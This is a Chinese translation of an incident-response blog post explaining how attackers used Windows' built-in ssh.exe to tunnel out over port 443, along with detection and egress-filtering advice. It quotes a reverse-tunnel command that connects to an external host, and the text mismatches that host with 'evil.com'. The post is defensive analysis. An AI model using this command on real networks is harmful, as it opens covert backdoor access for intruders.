攻击者如何利用SSH.exe作为网络后门:绕过HTTPS检测的隐秘隧道技术

本文详细分析了攻击者如何利用Windows内置的SSH.exe建立反向隧道,绕过安全检测实现网络渗透。探讨了SSH隧道配置、攻击手法及防御策略,包括端口过滤、命令监控和威胁狩猎技术。

Ssh… 别告诉他们我不是HTTPS:攻击者如何利用SSH.exe作为网络后门

Derek Banks //

Living Off the Land Binaries、Scripts和Libraries(简称LOLBins或LOLBAS)是操作系统的合法组件,威胁行为者可以在针对组织的攻击活动中利用它们来实现目标。这样做是为了尝试避免终端保护产品的检测,并作为编写自定义恶意代码的替代方案。

在许多情况下,这些二进制文件是众所周知的,技术有文档记录,并且(希望)安全产品或威胁狩猎过程可以检测到恶意使用。然而,在最近的一次事件响应任务中,我们发现了一种LOLBAS技术,它不属于那些有详细文档记录的类别。事实上,该技术目前似乎尚未纳入MITRE ATT&K框架。

场景是客户报告其笔记本电脑出现异常行为。当用户不在工作时,他们的工作系统上发生了个人账户的欺诈性购买。初步调查时,客户确定有来自其域控制器到相关端点的远程桌面协议(RDP)连接。可以理解,客户非常担心,并联系BHIS寻求事件响应协助。

我们在环境中部署了Velociraptor,并开始分析到互联网的网络连接。我们发现,在少数Windows服务器上,有一个非常可疑的安全外壳(SSH)命令连接到外部IP地址。

但等等!Windows服务器上的SSH?那不是Linux的东西吗?

我们在渗透测试和事件响应任务中发现,许多人仍然没有意识到微软在2018年决定在Windows Server和桌面操作系统中包含OpenSSH的影响。

我内心的老系统管理员喜欢这个决定,并认为“是时候我不需要第三方SSH客户端了”。但安全分析师我知道SSH是一个极其强大和多用途的工具。威胁行为者也知道它的强大和多功能性。它不仅仅能够登录到远程服务器并交互式运行命令。

以我们在此事件调查中发现的命令为例:

1
ssh.exe sshtunnel@blackhillsinfosec.com -f -N -R 50000 -p 443 -o StrictHostKeyChecking=no

在这个SSH命令中,攻击者正在建立到evil.com远程服务器的SSH连接,其意图非常明确——建立一个反向隧道到受害者网络,以便他们可以对内部系统运行自己的命令。这是通过此特定命令中使用的标志实现的:

  • -f:SSH命令在后台运行。攻击者使用此标志来混淆其存在。
  • -N:不执行远程命令。这在仅转发端口时有用。
  • -R:指定远程主机上的给定端口要转发到受害者网络上的本地主机和端口。这是通过分配一个套接字来监听远程侧的端口,每当连接到该端口时,连接通过安全通道转发,并建立到受害者机器的连接。这使其成为SOCKS代理。
  • -p:用于从内部网络连接到远程主机的端口,在这种情况下是TCP 443,通常与HTTPS关联,而不是SSH。
  • -o:没有特定命令行开关的选项,在这种情况下是StrictHostKeyChecking=no。

StrictHostKeyChecking=no选项用于在运行命令时,SSH客户端不要求验证服务器主机密钥……你知道,当我们连接到SSH服务器时,我们都会回答“是”的那个消息。但攻击者为什么要这样做呢?

他们希望避免在新SSH命令中来自新主机的交互式提示,因为需要持久性。有一个计划任务运行一个存储在C:\Windows\Temp中的批处理文件,其名称类似于有效的Windows DLL。

你们中的一些人可能会想,“SSH连接时的密码提示怎么办?”其他人可能认为攻击者通过将SSH私钥放置在系统上来解决了那个交互式密码提示……我也是这么想的。

然而,在任何受感染的主机上都没有找到私钥。这真的让我好奇;怎么可能……真的没有密码进行身份验证吗?这对攻击者来说不是一个好选择。在实验室进行一些科学实验后,答案原来是:有点……

OpenSSH服务器允许配置仅隧道用户,即可以设置特定用户账户在身份验证时不接收shell。在服务器端配置中,sshd_config文件中的以下选项设置了仅隧道用户。

此外,SSH仅隧道用户需要有一个空密码。这可以通过带有-d开关的passwd命令来实现。

允许仅隧道用户连接的最后一个配置部分是将’ssh’添加到/etc/securetty文件中。这对于允许具有空密码的用户通过SSH登录是必要的。

此配置将不允许仅隧道用户(sshtunnel)连接并建立shell或在远程服务器上运行命令,但仅建立设置反向代理类型配置的连接。

攻击者可以用这个做什么?在许多方面,它类似于将计算机物理插入网络。假设存在受损的域凭据(这很可能导致以这种方式设置SSH),你可以做几乎任何你需要完成恶意目标的事情。

例如,你可以通过SSH代理RDP连接到受损凭据有权访问的系统。在具有类似代理访问的渗透测试中,我喜欢做的事情之一是使用proxychains和Python实用程序(如Impacket和Python Bloodhound)来尝试避免基于主机的检测。

如何检测和防止这种情况发生在你的网络上?我们在事件响应和渗透测试客户中最常见的事情之一是缺乏从本地网络到互联网的足够出口网络流量过滤。

如果你有应用层防火墙(现在大多数防火墙可能是),你可以通过配置它,使得只有预期的应用流量可以使用相关端口,来防止在非标准端口上成功的SSH连接。例如,只有HTTPS流量可以使用TCP 443;SSH不能。

此外,实施拒绝规则对于任何你不用于业务目的的TCP端口是有效的。如果有有限使用的端口,如用于SSH的TCP 22,并且只有少数系统管理员需要使用它,则将该端口限制为这些人员作为例外。

这里也有一些良好的检测机会。这里使用的特定SSH标志对于正常的系统管理并不常见。在你的环境中从命令行使用这些标志的警报通常应该是一个高保真警报。

从威胁狩猎的角度来看,你可以查看环境中所有已知的known_hosts文件。当SSH连接到非TCP 22端口的主机时,它会在主机名周围加上括号。在大多数环境中,known_hosts文件中的括号应被视为可疑。

请注意:上面的屏幕截图是一个示例known_hosts文件,显然不包含事件中的原子指标(IP地址和主机名)。这些不公开共享,但如果你是BHIS SOC客户,你已经有了对此威胁行为者的检测和主动威胁狩猎。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计